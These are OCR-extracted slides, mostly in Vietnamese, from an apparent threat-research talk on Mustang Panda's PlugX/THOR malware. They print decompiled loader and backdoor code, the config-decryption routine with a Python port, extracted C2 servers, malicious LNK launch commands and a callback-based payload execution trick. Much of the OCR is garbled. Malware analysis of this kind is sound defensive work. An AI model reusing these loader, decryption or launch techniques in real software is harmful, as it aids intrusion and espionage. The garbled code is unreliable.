plugx_decrypted_dll-sencrypted_PlugX_size = compressed_dll_size;// @x2E552

plugx_decrypted_dll—config = config; // 9xeue2069 (offset ©x69 on disk)
plugx_decrypted_dll—config_size = config_size; // 8xp158C
plugx_decrypted_dll-ptr_PlugX_entry_point = plugx_mapped_dll + payload_nt_headers-»OptionalHeader.AddressOfEntryPoint; . .
virtualProtect(lpAddress, payload_raw_size, , &floldProtect);
if ( '(plugx_decrypted_dll-sptr_PlugX_entry_point)(plugx_mapped_dll, 1, 8) )

return 6x15:
if ( )

m // execute export function
1+ L fVirtualFree(compressed_but, U, J )

return B8x16;
i+ ( virtualFree(uncompressed_buf, @, )

return 8;
return 8x17;

}
09/09/2022 “Mustang Panda” - Enemy at the gate
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Goi tdi ham ma D1l nay export dé thuc thi nhiém wvu chinh
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Dump decompressed D11

e Dump file tu& bd nhd ra disk dé phuc vu phan tich.
 File da bi huy thdng tin header.

| decompressed_dll_4C000.dump
Disasm: .text General DOS Hdr  File Hdr  Optional Hdr  Section Hdrs Exports

X}

s

Decoded text

-]

3 tn
o

1BvbBHI DLUuMET KWW
ExZECoTeypulcENE
1sPaHH®iZzJInNn .
E:iL;CCszi.é..? Offset Name Value Meaning
*CRUIDRRNLEIV2CY 43360 Characteristics @
uowvIYUvwEFXZwzBU )
poEHMuPFEEGEsgga 48364 TimeDateStamp 612C95C0 Monday, 30.08.2021 85:24:45 UTC
ViuLnl3RtiQrzell U2368 MajorVersion
izalUnZixyEQbmvBi : :
UTAdFN1xxPoPd U336A MinorVersion
Hazec Name HFszNf@QFPXH
Ha3Te Base
- 7= ?= 4837y NumberOfFunctions
oc 00 oo oo oy 43373 NumberOfNames
) BOS100 0000 1000 00 < 4837C AddressOfFunctions 4sF83
U U 1 J Uy uu L U
IR » 4338a AddressOfNames YaFaC
tdecom sed )
S—— 4a3sy AddressOfNameOrdinals 48Fo@

<1 b
TS
]

=] -] o
U R S VT Y S I ]
1
[
ook o

4
oo
wn

(0]

)
[l
o Y T )

2 -
5
4D
5

[T I .

O

e om
=
[

Wb
[ I ]

1

[ ]

[

[T s I e Y L Y 11

SO koW
R R
T
I =1 kn

in

d.b

L

1xe

10 00 00 00
Qg 00 60
Qg 00 00

[o]s]
[o]s]
Qg
S0
[o]s]

Exported Functions [ 1 entry ]

dll_+f

Hfset Ordinal Function RVA Name RVA Forwarder
43333 1 8194 HarFam

decompressed
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Analyze PlugX D11

« Cach PlugX 901

text:

.text:
text:
Jtext:
.text:
text:
text:
.text:
text:
text:
.text:
text:
.text:
text:
text:
text:
.text:
text:
text:
.text:
text:
text:
.text:
text:
text:
.text:
text:
text:
.text:

l1ee27A98
lee27A91
10027493
1e027A99
1ee27AAL
1e027AAG
10027AAT
10027AAS
10027AAA
1ee27AAD
160827AEB
1e027ABG
10027ABT
10027ABD
1e827AC2
lee27ACY
lee27ACY
1e827ACE
10827ACY9
1002TACA
10027ACA
10827ACF
lee27ADe
lee27ADe
1ee27AD2
1ee27AD2
1ee27ADT
1ee27AD7
1ee27ADT

G@H
eed
g8
egs
ogs
esc
096
2906
e9e
096
2906
a9y
e9d
eod
o9y

eod
o9y
098

e98
e9cC

o9y

e9d

loc

ham APT —

push ebp
mov ebp, esp
sub esp, 8uh
movdga xmme, xmmword 166el78Ae
mov eax, GetCurren
push obx xmmword 'secorPtnerruCteG’
push esi ; DATA XRE
xor esi, e i f_plugx.
ooy Lebpetpanc], (GetCurrentProces)s)
mov [ebp+token_handle]. esi

| mov [ebp+var_ee], 73h ; 's° * ‘ v et .
push ed1 / ~—_:- ":;:_.;‘___,:-____ —
mov edi, ds:GetProcAddress i;:?f:;.ﬂx::-— .
movdqu xmmword ptr [ebp+ProcName], xmm@ s -
test eax, eax = S—
jnz short loc_108027AD7 e —
lea eax, [ebp+ProcName] 7§¥§£€L:t»~i':
push eax ; LpProcName .
call f_retrieve_kernel32_handle _L__”::lﬂ- ——
push eax : hModule S
call edi ; GetProcAddress t
mov GetCurrentProcess_8, eax

_18827AD7: ; CODE XREF: f_check_and_enable_privilege
call eax ; GetCurrentProcess_E

09/09/2022
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Analyze PlugX D11

° o A 7y // Protocol:[%us],
® G 1 a. O -t 1 e p V d 1 C 2 *szProto_Host_Proxy_format_str = _mm_load_sil28(&xmmword_106807120);
strepy(vls, "%s:%s]1\r\n");
port_num_hi = HIWORD(src-»f_retrieve_ip_address);
port_num_lo = LOWORD(src-»f_retrieve_ip_address);

v8 = a2[1];
strepy(szTCP_proto, "TCP"); // Host: [%s:%d]. P
n n - ’ ' !
strepy(szHTTP_proto, "HTTP"); vi3 = _mm_load_sil128(S&xmmword_18087248);
sz_protocol_info = [ "%"; // roxy: [%d:%s:%d:
n n - ’ ' ’ )
strcpy(szUDP_proto, HDP ); ) vid = _mm_load_sil28(&xmmword_10087186);
s ?CPfCSZICMP—pPDtD' ICHP"); | // Protocol:[%ds], Host: [%s:%d], Proxy: [%d:%s:%d:%s:%s]\r\n |
W
switch ( EHOOSELprOtoLFIag ) WSPrintTAL
{ ) szProto_Host_Proxy_full_str,
case 2t ) szProto_Host_Proxy_format_str, B - ——-
sz_protocol_info = szTCP_proto; sz_protocol_info e e —
break; a2 + 2 N ' —
case 3: v8 ' -
)

sz_protocol_info sZHTTP_proto;

° port_num_lo,
break; ‘ Ssrc—>field_u,

case 4: ) port_num_hi, S——
sz_protocol_info = szUDP_proto; ssrc->event_handle_1, ;'__,:;____
break; Gsrc—>field_s4); ;,;,;,

case s . f_send_str_to_debugger(szProto_Host_Proxy_full_str); i —
sz_protocol_info = szICMP_proto; : [

switch ( choose proto flag ) e e
break; { mowen®

ce—au_tf === 3- .

} break; result = f_connect_c2_over_TCP(this, arg®, a2, src);

break;

case 3:
result = f_connect_c2_over_HTTP(this, arg@, a2, src);
break;

case i:
result = f_connect_c2_over_UDP(this, arg®, a2, src);
break;

" case 5:
09/09/2022 Mustan result = Bx32; 27



Analyze PlugX D11

« Nhan 1énh va thuc thi

map_file_buf = f_mapping_file_and_retrun_buf();
if ( map_file_buf )
{

strcpy (sSZBERpUENERd[8], "Disk");

(*map_file_buf)(@xFFFFFFFF, ©, 0x20120325) f_perform_disk_action_command ﬁ

}
f_perform_keylogger();
v15 = sub_100175F6();
if ( vls )

strepy( [u], "Nethood");

v16 = sub_10017ADE();
if ( vie )

{
strcpy (cSZUANpUEIEnd[4], "Netstat");

(*v16) (8xFFFFFFFF, 4, ©x20120215, f_retrieve_network_statistics, sSzZiinputaemd(u]);
}
v17 = sub_10018DEE();
if ( vl7 )
{
strepy (sSZUIMPUENERA 1], "option");
(*v17) (OxFFFFFFFF, 6, ©x20120128, f_perform_option_sub_command, sSZUinputaendrs]);
}
v18 = sub_10019580();
if ( vis )
{
strepy (sSZUINPUENENE 1], "PortMap");
(*v18) (8xFFFFFFFF, 7, 6x20120325, f_start_port_mapping, SSZ.inputoemdrs]);
}
v19 = sub_10019A10();
if ( vl9 )
{
strcpy (SZUAnpUtdend 4], "Process");

(*v19) (8xFFFFFFFF, 1, ©x20120204, f_perform_process_sub_command, SSzoinputoemd(4]);

(*v15) (@XFFFFFFFF, 5, ©x20120213, f_enumerate_network_resources, i-[ﬂ]);

switch ( emd_info-»subcommand )

{

case @x3000:
result = f_enumerate_drives(al, cmd_info);
break;
case @x3001:
result = f_find_file(al, cmd_info);
break;
case @x3002:
result = f_find_file_recursively(al, cmd_info);
break;
case @x3004:
result = f_read_file(al, cmd_info);
break;
case @x3007:
result = f_write_file(al, cmd_info);
break;
case Bx300A:
result = f_create_directory(al, cmd_info);
break;
case @x300C:
result = f_create_process_on_hidden_desktop(al, cmd_info);
break;
case @x300D:
result = f_file_action(al, cmd_info); /o
break;
case Bx300E:
result = f_get_expanded_environment_string(al, cmd_info);

DI'edH |
default:
result = BxFFFFFFFF;
break;
}

return result;

le copy/rename/delete/move

09/09/2022
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Decrypt PlugX configuration

» V81 cac mau cu tung phan tich, ciu hinh cda PlugX
thudng luu tai section .data véi do 16n ox724 (1828)

.data:1e01EEEE _data segment para pul

b -t .data:1081EBE0 assume cs:_data
y e S ° .data:1001EBBE ;org 1801EE86h
.data:1001E000 Encodediconfigidata db epsh ; U

fata:1601EGB0

.data:1ee1Ee01 db 31h ; 1
.data:1001E@02 db 33h ; 3
.data:1001E003 db 3uh ; o
.data:1ee1E0B0U db 78h ; x
.data:1001EE0S db 36h ; & R irEneTmETe
.data:1001E006 db 5eh ; * s p——
.data:1001E007 db 38h ; 8 } REEEeSeTENERE —
- .data:1001EGB8 db 5ah ; Z " o— e ———
(SRR e e S MRS .data:1001E069 db 31h ; 1 -
result = f_memcmp(&pMalConfig, ™XXOMXXXXX", 8u); _data-1601E68A db  ueh : @ %
E_ ( result ) .data:1001E00B db 33h ; 3 ;
.data:1@@1E@0C db 5Bh ; [ : J—
// 123456789 “”* .data:1601E00D db 35h ; 5 TERLE
strepy(xor_key, "123456789"); .data:1001EGBE db ush ; E S
xor_key_len = f_lstrlenA(xor_key); _data:16891EBSF db  37h ! 7 ‘i -
result = f_XorDecode(&pMalConfig, ©x724, xor_key, xor_key_len); _data-1661E616 db  57h : W . . cum— ——
} .data:1001E011 db 39h ; 9 e
.data:1801EB12 db 57h ; W - o s = T
.data:1001E@13 db 32h ; 2 =
.data:1e01E@14 db u7h ; G
.data:1001E@15 db 3uh ; o
.data:1001E016 db 15h
.data:1001E017 db 36h ; &
.data:1001E018 db 7Ah ; z
.data:1001E019 db 38h ; 8
.data:1001E@1A db 58h ; X
.data:1001E01B db 31h ; 1 -
.data:1801E@1C db SEh ;
09/09/2022 “Mustang Panda” - Enemy .data:1eeieeip db 33h : 3 29



Decrypt PlugX configuration

» Trudc budc kiém tra cac tham s6 truyén-vao khi
thuc thi, ma doc goi tdi ham thuc hién nhiém vu
gidai ma cau hinh:

ptr_cmd_line = GetCommandLineW();

CommandLineToArgvW = ::CommandLineToArgvi;

strcpy(vds, "vW");

#yu5 = _mm_load_sil2g8(&xmmword_10007618);

if ( !::CommandLineToArgv )
shell32_handle = g_shell32_handle; 2 e
strcpy(sz_shell32, "shell32");
if ( 'g_shell32_handle )

{ —
shell32_handle = LoadLibraryA(sz_shell32); e
g_shell32_handle = shell32_handle; ?‘:’_. - i

} it o ——

CommandLineToArgvi = GetProcAddress(shell32_handle, vu5); o T o e

::CommandLineToArgvil = CommandLineToArgvii; o m— - —

} —.' et ,__,‘.---_~
sz_arg_list = CommandLineToArgvW(ptr_cmd_line, &num_arguments); X e

sub_l1eee7oce(e) ; e

0);
if ( num_arguments = 1 )
f_launch_process_or_create_service();
if ( num_arguments = 3 )
{
lstrlenw = ::lstrlenw; I |

arg_passed_1 = sz_arg_list[1]; ”

passed_argl_info.buffer = @; -
09/09/2022 passed_argl_info.bufferl = 8;
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Decrypt PlugX configuration

« Phan tich chi tiét k&t hgp debug tU shellcode:
— Cau hinh nhidng trong shellcode, b&t dau tU offset 0x69.
— PO 16n cla ciu hinh 1a 0x150C (5388) bytes.
— Key giai ma la OxBd4.

plugx_mapped_dll-»signature = @;
plugx_decrypted_dll-»ptr_shellcode_base = ptr_call_addr; //
plugx_decrypted_dll-*shellcode_size = end_sc_offset;
plugx_decrypted_dll-»ptr_encrypted_PlugX = ptr_enc_compressed_dll_addr; //

lugx_decrypted_dll-»encrypted_PlugX_size = compressed dll_size;// 0x2E552
plugx,decrypted,dll-)* = config; // O

069 (offset 0x69 on disk)

13592 1C 9B ....

plugx_decrypted_dl1->PlugX config size = config_size; // ©xB150C
plugx_decrypted_dll-»ptr_PlugX_entry_point = plugx_mapped_dll + payload_nt_headers-»OptionalHeader.AddressOfEntryPoint; = s
VirtualProtect(lpAddress, payload_raw_size, , &FloldProtect); :
( '(plugx_decrypted_dll-»ptr_PlugX_entry_point) (plugx_mapped_dll, 1, @) ) ' ——-
ox15; S
( Exportproc ) PLugXfshellcode] :
ExportProc(); // execute export function

PlugX_mapped_d11l_base = -Fcreateunna.medevent(!—)dubase;
ptr_plugx config = PlugX_mapped_dll_base—»PLlugX_config}——"""""
signature = ptr plugx_config->signature; // ©xCAG8BES5
( ptr_plugx_config->signature = ptr_plugx_config->compared_value )
setup_config_buffer;
¢ Plugx,mapped,dll,base@
setup_config_buffer;
sub_10007D00(0);

xor_key = signature + ©x56; // @xCAG8BESE + ©x50EF1UBY
/f > xor_key

i=0,;

{

ptr_decrypted_config = &decrypted_config[i+];

*ptr_decrypted_config = xor_key * ptr_decrypted_config[ptropliugxicontig - decrypted_configl;
}

( i < 8x156C );
T pEr_plugx_contig=signature == signature_computed J

{

setup_config_buffer:

f_memset_ret(g_std_decrypt_data, 0, 8x150C);

result = 8;
09/09/2022 : “"5‘:'-""..."‘-““'

{




Decrypt PlugX configuration

_dat_sc.bin X ecrypted

00 ) 00 00
D08 54 54 50 3A 2F 2

B4

B4

B4

B4

B4

B4

B4

B4 0 00 00,00 OC
CEQEO 8 00 ) 00 5454 50 32

wsz_bdreinit_exe[0] ;
wsz_bdreinit_exe[1] = ; 0
wsz_bdreinit_exe[2] ; 1 00 - 00
wsz_bdreinit_exe[3] ;
wsz_bdreinit_exe[u]
wsz_bdreinit_exe[5] =

"= -
@

LOWORD(wsz_bdreinit_exe[s6])
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Decrypt PlugX configuration

Viét python script dé trich xudt théng tin cAuhinh

% python plugx_extract_config.py plugx_decrypted_config.bin

[+]
[+]
[+]
[+]
[+]
[+]

[+]

Config file: plugx_decrypted_config.bin
Config size: 5388 bytes
Folder name: %ProgramFiles%\BitDefender Update
Service name: BitDefender Crash Handler
Proto info: HTTP://
C2 servers:

86.78.23.152:53

86.78.23.152:22

86.78.23.152:8080

86.78.23.152:23
Campaign ID: 1234

09/09/2022
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Samples have
targeted Viet

] THOR PlugX variant
N; gly S(:)-LUSI -Phan tich log.dll
-Phan tich shelleode
-Phan tich PlugX Pl

09/09/2022 “Mustang Panda” - Enemy at the gate
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Analyze log.dll

 Doc noi dung log.dat.
« Shellcode thuc thi tu

Jtext:
text:
Jtext:
.text:
.text:
text:
text:
text:
text:
text:

text:
text:
text:
text:
text:
text:
text:

TU43893F
Tu438943
74438943
4438948
Ta43894C
TU4389UE
74438953
4438958
4438958
4438958

74438960
74438960
74438960
4438965
4438965
Tu438967
Tu43896C

09/09/2022

loc_74438960:
cmp
jz

58] log.dat

gaM, [esp+ +var_150]

; read shellcode content from log.dat

[esp+ +ptr_shellcode_start], ehx

eax, eax
CEV
ecx,

loc_7uUu38A38

CEVE
short loc_7uu389DF

CEV
loc_7UU438A1A

06 81 EE 00 00 00 00 B0

; CODE XREF:

£S5

eax=debugl98:sc_base_addr

sc_base_addr

db
db
db
db
db
db
db
db
db
db
db
db

Khéng co budc gidai ma shellcode.
offset Ox2U (offset 0x0 + strlen(random_string)).

W

[
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Analyze shellcode

- Kt qua emulate shellcode biang scDbhg.

Loaded 2f4f@ bytes from file C:\Users\ADMINI~1\Desktop\ME_PAN~1\THOR_P~1%log.dat
Memory monitor enabled..

Initialization Complete..

Max Steps: -1

Using base offset: 6x4010886

Execution starts at file offset 24|

SElula
4816826
48162cC
48182
4816836

7786 ja ex48182c wv
S1EEOBEBEBEE6 sub esi,@xé
80C500 add ch,8xe

45 inc ebp

4D dec ebp

GetProcAddress(LoadlLibraryd)
GetProcAddress(VirtualAlloc)
GetProcAddress(VirtualFree)
GetProcAddress(VirtualProtect)
GetProcAddress(ExitThread)
LoadLibraryA{ntdll)
GetProcAddress(RtlDecompressBuffer)
GetProcAddress(memcpy)
VirtualAlloc(base=8 , sz=2ce76) = 688888
Virtualalloc(base=8 , s5z=48688) = 62d88e
RtlDecompressBuffer(fmat=2,ubuf=62de68, usz=48600, cbuf=68808108, csz=2cebb)

(supports -i

=g

ral

o = oo
S ]

e

ecx=48606 edx=62d0686 ebx=08

esp=12fedd ebp=12fffe esi=@ edi=@ EFL 4 P

09/09/2022 “Mustang Panda” - Enemy at the gate

36




Analyze shellcode

* Qua trinh thuc hién gidi ma ra compressed D11 phiéec-tap hdn so
véi mau da phan tich.
compressed_size_plus_8x10 = compressed_size + 0x10;

ﬂtualm.lu:[ﬂ, compressed_size + 8x18, MEM COMMIT, PAGE READWRITE);
if (1 )

eturn OxB;

signature_@x71BBECTA;
signature_@x71BBECTA;
signature_@x71BBECTA;
signature_@x71BBECTA;

r
k_1
k_2
k_3
k_u

/{ fill compressed buffer B A rasasmmre -
for ( k = @; Kk < compressed_size plus_0x18; +HK ) e < —— e e
{ | Zomm——e . —
k.1 =K1+ (k.1 > 3) - BX56565656; | m——
k_2 = k_2 + (k_2 > 5) - 0x36363636; ~o—
k_3 = OXFFFFFF81 * k_3 + @x57575757; ".._.
k_U4 = OXFFFFFE®L1 * k_U4 - 8x76767677; ﬁ
*(SEOMpressedibif > decoded_buffer + k) = (k_4 + k_3 + k_2 + k_1) ~ ptr_enc_compressed_dll_addr[K][; 7 A
} i
uncompressed_buf = VirtualAlloc(®, uncompressed_buf_size, \ ); £ .i_
if ( !'uncompressed_buf ) e —‘”"T;:;-..__.<
return @xc; = ._ g A
final_uncompressed_size = @; e
if ( RtlDecompressBuffer( v
uncompressed_buf,
uncompressed_buf_size,
S i
—compressed_size,
&final_uncompressed_size) )
{
09/09/2022 return 8xp; 37
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Analyze shellcode

- Goi t8i ham export cla D11l dé thuc thi nhiémwvw-chinh cua
ma doc.
 Gan signature 1la :

plugx_decrypted_dll = plugx_mapped_dl1;
// 886CEERE 52 UF U8 54 uUD 20 UG B8 CC FU B2 OO B6 35 UG OO ROHTM @.16..15@.
// _B986CER10 76 CE 02 00 8D 20 UG 88 _BC 15 00 0O 18 17 6C 60 vIi... @....... 1.
plugx_mapped_dll->signature = ;
plugx_decrypted_dll-»ptr_shellcode_base = shellcode_base_addr;
plugx_decrypted_dll->shellcode_size = shellcode_size;
plugx_decrypted_dll-ptr_encrypted_PlugX = ptr_enc_compressed_dll_addr;
plugx_decrypted_dll-»encrypted_PlugX_size = compressed_dll_size;
plugx_decrypted_dll-PlugX_config = plugx_config;
plugx_decrypted_dll-»PlugX_config_size = config_size;
plugx_decrypted_dll-sptr_PlugX_entry_point = plugx_mapped_dll + payload_nt_headers->OptionalHeader.AddressOfEntryPoint;
VirtualProtect(lpAddress, payload_raw_size, , &Ffl0ldProtect);
if ( '(plugx_decrypted_dll-»ptr_PlugX_entry_point) (plugx_mapped_dll, 1, @) )
return 8x15;

port Q; _
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Dump decompressed D11

* Dumped D1l co kich thudc nho hon va thoi gian
compile cd hon so véi mau trudc.

58| decompressed_dll_48600.dump

Decoded text

=

offset (h) 00 01 02

=

= 0
=1

LrUNgaNcIBbukF1j

nMgJLpOYTWvAkjgB

oYQCAdXfeThIWxrgF Disasm: .text General DOS Hdr File Hdr Optional Hdr Section Hdrs Exports Imports
ha¥fnVMWZEvV.&. ..

emFhhmXTHzt ZpHr ]
PEyQfwagRidOWnWW

ez AXbAKFuFCvCmvVe Offset Name Value Meaning

:-!eng:—!F:-_—.r?:D‘.-'iNF 43988 Characteristics @

'-_.-"kfd_xI'U:Zg.]-:PRUDI 43964 TimeDateStamp S5EFET317 Monday, 22.86.2828 89:80:07 UTC
XgPQMDrodwhtavmo . i
fZpyVXpTICmpIuMs 43ones MajorVersion @

1 &
(%)
o))

o
[* 3
(]
. Y S
weoom

o
[Sepw i}

o
o
o
[y

= -

o
o
o
[SE |

G
V0
o
[
ok s
[
Y I 1
-1
=]

[FURE

=]

oo
oM

S oS I 1
()]

e Y s VR
o
I
-1

[E Y

s
s
| SRR Y

(0]

b
[== 0 = R T R ]

w
0o o
=

10 b ks
[/ s ]
T
Hol S
&

=1
o

gxINvwgwgyQklXjz 43904 MinorVersion 8

V3aYBcBgudWpXQLg u398C Name 45332 sedLsmFAVNPad
XVO¥nDGEBw=gPIFC 43919 Basa 1

43914 NumberOfFunctions 1

43913 NumberOfNames 1

4391C AddressOfFunctions 45328

43928 AddressOfNames 4532C

43924 AddressOfHameOrdinals 45330

=
e b
oo

] e
1
o

[
[ B VI

00
0z 20 00
00 00 10 17 00 00 00

[T o Y N
(=] =]
(R Y S
[ T S T
wn
o

gl aTal onn onge = =
,decompressed DLL
J4 Q0 00 00 00 00 00 02
00 00 00 00 10 00 00
00 00 00 55 04 00 45
Q0 00 00 0Od J0 Q0
00 00 00 00 J0 00
00 00 00 00 J0 00
00 00 00 00 J0 00
Q00 00 80 50 O o0 40
00 00 00 10 G 00 30
Q0 00 00
00 00 Z2E
00 00 00
00 00 00
00 00 EA
03 00 00

Exported Functions [ 1 entry ]

Offset Ordinal Function RVA Name RVA Forwarder
43923 1 16F@ 45340

decompressed_dll_u48600_fixed.bin

00 40 2E
04 00 00
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Analyze PlugX D11

N

+ Budc gidi ma cau hinh cing dudc thuc hién trude~khi ma doc
kiém tra tham s& truyén vao khi thuc thi.

PlugX_mapped _dll_base = f_create_unnamed_event(8)—>dll_base;

pNumArgs = ©; it ( PlugX_mapped_dll_base-»signature =+ )
wsz_cmd_line = f_plx_retrieve_command_line_info(); {
szArglist = f_plx_parse_cmd_line(wsz_cmd_line, &pNumArgs); veturn f_plx_memset();
v2 = sub_16001328(08); ¥ .
vi2 = _(“2). ———- ptr_plugx_contig = PLugX_mapped_dlLl_base-»PlugX_config;
if ( pNumArgs = 1 ) ! dec_plugx_config = src;
{ if ( ptr_plugx_config-®key_value = ptr_plugx_config->compared_key_value )
sub_10001D50(0); {
} return f_plx_memset();
if ( pNumArgs = 3 ) } . .
{ if ( PlugX_mapped_dll_base->PlugX_config_size = ©x158C )
sub_1eeeu9Ba(vs); {
sub_100049B8(v16); return f_plx_memset();
sub_1eeeuE20(szArglist[1]); } )
sub_16004FBB(8) : key_value = ptr_plugx_config->key_value;
sub_10004E20(szArglist[2]); tion(e): - -
sub_10004FBA(O) : decrypt_status = f_plx_decrypt(ptr_plugx_config, 0x158C, dec_plugx_config, key_value);
r E sub 19926.&19(\;9 svi3) ) 1f ( deerypt_status [ ptr_plugx_config—>key_value = dec_plugx_config->compared_key_value )
{ {
viz = @- return f_plx_memset();
} ) .
if ( sub_18026A10(v11. &v15) ) f_plx_memcpy(src, &g_plx_decrypted_config, @x158Cu);
( : sub_1000u9B08(v17);
vi5 = 8- sub_1e00258CO(v17, &dec_plugx_config[ex121].compared_key_value);
} ' // "std.cfg" - (size: 8)
v1l9 = N
v2e = N
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Decryption routine

« Ham gidi ma giéng hét 3 shellcode khi“thuc hién
gial ma ra compressed DI11.

int __stdcall _(_EYTE *ptr_plugx_config, int plugx_config_size, _BYTE *dec_plugx_config_out, unsigned int key)

{

unsigned int k_4; [esp+uh] [ebp-1uh]
unsigned int k_3; [esp+8h] [ebp-18h]
unsigned int k_2; [esp+Ch] [ebp-Ch]
unsigned int k_1; [esp+18h] [ebp-8h]

key = 0x069972C2

int i; [esp+14h] [ebp-uh] def decrypt(data):
k_1 = key
k_2 = key
k-1 = key; k_3 = key
k_2 = key; k_4 = key
k_3 = key; data = bytearray(data)
k_u = key: decrypted = bytearray()
£t ; _I .oa : g— : for i1 in range(@, len(data)):
r (1=20; 1< plugx_config size; +1i ) k_1 = (k_1+ (k1> 3) - 8x56565656) & OxFFFFFFFF
{ k_2 = (k.2 + (k_2 >> 5) - 0x36363636) & OxFFFFFFFF
k1 = k.1 + (k.1 > 3) - 0x56565656; k_3 = (OxFFFFFF81 * k_3 + 0x57575757) & OxFFFFFFFF
k_2 = k_2 + (k_2 > 5) - 8x36363636; k_4 = (OxFFFFFE@1 * k_4 - 0x76767677) & OxFFFFFFFF
k_3 = OXFFFFFF81 * k_3 + ©x57575757; decrypted.append{(data[i] ~ (k_4 + k.3 + k.2 + k_1 )) & OxFF)
k_4 = OXFFFFFEBL * K_U - Bx76767677; return decrypted
dec_plugx_config_out[i] = (k_d + k_3 + k_2 + k_1) ~ ptr_plugx_config[i];
}
el ﬂ;
}
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Decrypted config

5| Plug¥_decrypted_config_THOR.bin

[+]
[+]
[+]
[+]
[+]
[+]

[+]

Config file: PlugX_decrypted_config_THOR.bin
Config size: 5388 bytes
Folder name: %ProgramFiles%\BitDefender Handler
Service name: BitDefender Update Handler
Proto info: HTTP://
C21 servers:

www . Locvnpt . com: 443

www . Locvnpt.com: 8088

www . Locvnpt.com: 86

www . Locvnpt.com: 53
Campaign ID: 1234

09/09/2022
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Other threat research

"L S2
! W soma2

Recent HODUR/THOR PlugX variant from the Mustang
Panda group submitted from Vietnam. ] :
Brodp Emotet binary
C2s:
www.locvnpt[.Jcom:443
www.locvnpt[.Jcom:8080

www.locvnpt[.Jcom:80 , o
www.locvnpt[.Jcom:53 / Emotet loader PowerShell

.Obfuscated PowerShell

/

virustotal.com/gui/file/02a9b...

\
#Hapt #PlugX N
X_5_MustangPanda/92a9b3beaa3da’Sade2788el h *
s s 2 e http://hoccu.vn/components/gMXyb7/

DOV AN BDVNNBN)

{ J
 hoccu.vn

[ B y __§ )
_d“. Sunvn./Vln ) sunvn.net

‘&

o) e o A R
 ‘taisunwin.club sopHoslabs

Source: VirusTotal

) PosixPath('../../PlugX_5_MustangPanda/02a9b

22 RN AN AN AN
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Other campailgns relate to events 1n
Europe, 1nvasion of Ukraine,

https://teampassword.com/blog/who-is-mustang-panda-and-how-can-you-protect-yourself

09/09/2022 “Mustang Panda” - Enemy at the gate
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Other campaigns

Submissions Submissions

Date Name Source COLIHtI'y‘ Date Name Source Country

2022-06-07 16:01:42 UTC windows.zip {I4+ 91293bed - ap us 2022-07-12 05:08:43 UTC 493cb5056dee306ac2c93af2285ad5ds {If+ f67b7665 - ap us

Sortby ~ Export ~ Tools = Help -

Last seen Submitters

2022-06-07 2022-06-07
16:01:42 16:01:42
cab spreader

325736437E278BCC06FB4EBCSTFT2BETE1BATETR18743D813581CFCTSDCA888F
. 2022-07-12 2022-07-12

& 41/ 5 .2k I I
05:08:43 05:08:43

rar  xorcrypt

BOFCBRFIE2980ERECT 9T TABA23ERA294RE6ADBSRA4F 48087 AD34BT1EBF35R8TT

- £ the Commissi Crime P " d Criminal Justice United Nati 0 4 Cri , 2022-05-25 2022-05-25
o ~5510n of the Commission on Crime Prevention and Criminal Justice United Nations on Drugs and Crime.rar 3/ 57 bdbh.6Y R -

- " 08:32:26 08:32:26
rar  xorcrypt

2022-02-10

11:09:16 11:09:16

Submissions

Date Name ourc Country

2022-05-2508:32:26 U EU 31st session of the Commission on Crime Prevention and Criminal Justice United Nations on Drugs and Crime.rar (2) 0abb3055 - web CZ
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Other campaigns

Submissions
Country
ME
Us

Submissions

HU p

Submissions rar  spreader

Country

rar  spreader

Submissions

Submissions

Country
czZ
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Execution Flow

—launch—>» load and decrypt—>»

| I
Malicious LNK Command Line Legitimate executable Loader DIl DAT file (encrypted payload
(AvastBrowser.exe, opera.exe...)

decrypted in memory

exec decrypted Dl

|
drop decoy document and open Decrypted DIl

connect to attacker's C&C

<

09/09/2022 “Mustang Panda” - Enemy at the gate
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xample 1

EU 31st session of the Commission on Crime Prevention and Criminal Justice United Mations on Drugs and Crime.rar - B4

Mame cke ype Modified

EU 375t session of the Commission on Crime Prevention and Criminal Justice United MNations on Drugs and Crimne.pdf.Ink

orking Directory: %cdX
rguments: Jo " A A AN Mchrom. ucell(forf11es /P %APPDATA%\..\..\ /5 /M ﬂ"EU 31st session of the Commission on

rime Prevention and Criminal Justice United Nations on Drugs and Crime.rarA"™ /C "cmd /c (c:\progra~1\winrar\winrar
.exe x —inul -o+ @path||c:\progra~2\winrar\winrar.exe x -inul -o+ @ath)&& \_\_\_\_\_\_\chrom.uce")"

ion of the C ission on Crime ntion and Criminal Justice United Mations on Drugs and Cri
MName Size cked Type Modified ( C en 3 n of the comr
)B.dat
chrom.uce

te.dll 9 catio Z N ) executable

language neutral
code-page de UTF-16, little endian

right

OriginalFilename

09/09/2022 “Mustang Panda” - Enemy at the gate
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xample 2

orking Directory: %cd%

Arguments: /c "#\#\E\E\A\E\A\H#\test.chm]| | (forfiles /P ZAPPDATAZ\..\..\ /S /M A"NV 309-2022 HMA's departure.rarA”
JC "oemd Jc (c:\progra~1\winrar\winrar x -id -o+ @path||c:\progra~2\winrar\winrar x -id -o+ @path)&&#F\#F\F\F\F\F\

;\#\tgst.ghm")" o

] _ - —~ —0 R -

opera_br
raDB.dat

Modified

property

md3

shal

sha256
file-type

date

language
code-page
LegalCopyright
InternalMame
FileV n
CompanyMame
ProductMame

ProductVersion

FileDescription

09/09/2022 “Mustang Panda” - Enemy

at the gate
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Change tactics to execute payload

 Use API callback functions to execute decrypted
payload: EnumSystemCodePagesW; EnumThreadWindows

L .text:7287F7B6 loc_7287F7B6: ; CODE XREF: f_read_AvastDB_dat+28U4Et] 7673U22F (kernel32.dll ! kernel32_EnumSystemCodePagesW
®|.text:7287F7B6 148 mov eax, [esi+pABh] FFFFFFFF
*|.text:7287F7BC 148 push dword ptr [esi+176h] ; lpProcName 83EBEA10
®|. text:7287F7C2 1AC push dword ptr [eax] ; hModule 000086D9
.text:7287F7CU4 1EO call ds:GetProcAddress ; retrieve EnumSystemCodePagesW addr BO1AFACE BO1AEFF8
.text:7287F7CU 00000000
*| text:7287F7CA 148 xor edi, edi 001AFCS5U FFFFFFFE
*].text:7287F7CC 148 push edi ; dwFlags BB1AEFF8 OOEB5ALD
*].text:7287F7CD 1AC ush dword ptr [esi+l11Ch ; lpCodePageEnumProc MRENEMDE (.text ! f_read_AvastDB_dat+349DD
.text:7287F7D3 1E0 call eax ; call EnumSystemCodePagesW to exec decrypted dll 000002U6
.text:7287F7D3 00000000
*].text:7287F7D5 1BO mov eax, [esi+ecuh]
®|.text:7287F7DB 1BO push edi ; UExitCode CODE DATA RODATA VALUE
.text:7287F7DC 1EU call eax ; call ExitProcess ——

.text:7287F7DC

O01AEFF@ OOES5AUD

o
®

L
02100030 FF D3 C9 OO1AEFFU 00000000
